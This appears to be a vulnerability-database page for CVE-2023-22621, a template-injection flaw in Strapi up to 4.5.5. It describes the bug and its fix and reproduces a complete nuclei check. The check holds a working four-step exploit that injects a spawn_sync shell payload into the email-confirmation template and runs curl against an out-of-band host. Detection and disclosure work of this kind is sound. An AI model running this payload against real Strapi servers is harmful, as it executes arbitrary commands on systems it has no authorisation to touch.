HexBrain

Browse / CVEs / CVE-2023-22621

CVE-2023-22621· strapi / strapi· CWE-74

Strapi Versions <=4.5.5 - SSTI to Remote Code Execution

highseverity
7.2CVSS score
70.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.

Impact

Authenticated attackers with admin panel access can inject malicious template code in email templates that bypasses validation checks, executing arbitrary system commands on the Strapi server and potentially compromising the entire CMS platform.

Fix

Update Strapi to version 4.5.6 or later that implements proper template validation and prevents code execution in email templates.

How to confirm it

Send: POST /admin/login
Positive when: status_code == 200 and contains_all(body, "token","isActive") and contains(content_type, "application/json")
Send: PUT /users-permissions/advanced
Positive when: status_code == 200 and contains_all(body, "ok","true") and contains(content_type, "application/json")
Send: PUT /users-permissions/email-templates
Positive when: status_code == 200 and contains_all(body, "ok","true") and contains(content_type, "application/json")
Send: POST /api/auth/local/register
Positive when: contains in interactsh_protocol "dns" AND contains "ApplicationError" AND contains in content_type "application/json"

Run it with nuclei: nuclei -id CVE-2023-22621 -u <target>

The full check
id: CVE-2023-22621

info:
  name: Strapi Versions <=4.5.5 - SSTI to Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.
  impact: |
    Authenticated attackers with admin panel access can inject malicious template code in email templates that bypasses validation checks, executing arbitrary system commands on the Strapi server and potentially compromising the entire CMS platform.
  remediation: |
    Update Strapi to version 4.5.6 or later that implements proper template validation and prevents code execution in email templates.
  reference:
    - https://github.com/strapi/strapi/releases
    - https://github.com/sofianeelhor/CVE-2023-22621-POC
    - https://github.com/strapi/security-patches
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22621
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-22621
    cwe-id: CWE-74
    epss-score: 0.706
    epss-percentile: 0.99397
    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: strapi
    product: strapi
    shodan-query: html:"Welcome to your Strapi app"
  tags: cve,cve2023,strapi,ssti,rce,intrusive,authenticated,vuln,vkev

flow: http(1) && http(2) && http(3) && http(4)

variables:
  email: "{{email}}"
  password: "{{password}}"
  address: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{email}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "token","isActive")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

    extractors:
      - type: json
        part: body
        name: token
        json:
          - ".data.token"
        internal: true

  - raw:
      - |
        PUT /users-permissions/advanced HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"unique_email":true,"allow_register":true,"email_confirmation":true,"email_reset_password":null,"email_confirmation_redirection":"{{RootURL}}","default_role":"authenticated"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "ok","true")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        PUT /users-permissions/email-templates HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {
          "email-templates": {
            "reset_password": {
              "display": "Email.template.reset_password",
              "icon": "sync",
              "options": {
                "from": {
                  "name": "Administration Panel",
                  "email": "[email protected]"
                },
                "response_email": "",
                "object": "Reset password",
                "message": "<p>We heard that you lost your password. Sorry about that!</p>\n\n<p>But dont worry! You can use the following link to reset your password:</p>\n<p><%= URL %>?code=<%= TOKEN %></p>\n\n<p>Thanks.</p>"
              }
            },
            "email_confirmation": {
              "display": "Email.template.email_confirmation",
              "icon": "check-square",
              "options": {
                "from": {
                  "name": "Administration Panel",
                  "email": "[email protected]"
                },
                "response_email": "",
                "object": "Account confirmation",
                "message": "<%= `${ process.binding('spawn_sync').spawn({\"file\":\"/bin/sh\",\"args\":[\"/bin/sh\",\"-c\",\"curl {{interactsh-url}}\"],\"stdio\":[{\"readable\":1,\"writable\":1,\"type\":\"pipe\"},{\"readable\":1,\"writable\":1,\"type\":\"pipe\"/*<>%=*/}]}).output }` %>\n\n<p><%= URL %>?confirmation=<%= CODE %></p>\n\n<p>Thanks.</p>"
              }
            }
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "ok","true")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/auth/local/register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "email": "{{address}}",
            "username": "{{randstr_1}}",
            "password": "{{randstr_2}}"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "ApplicationError"

      - type: word
        part: content_type
        words:
          - application/json

References

Use this check only on systems you are authorised to test. Where the data comes from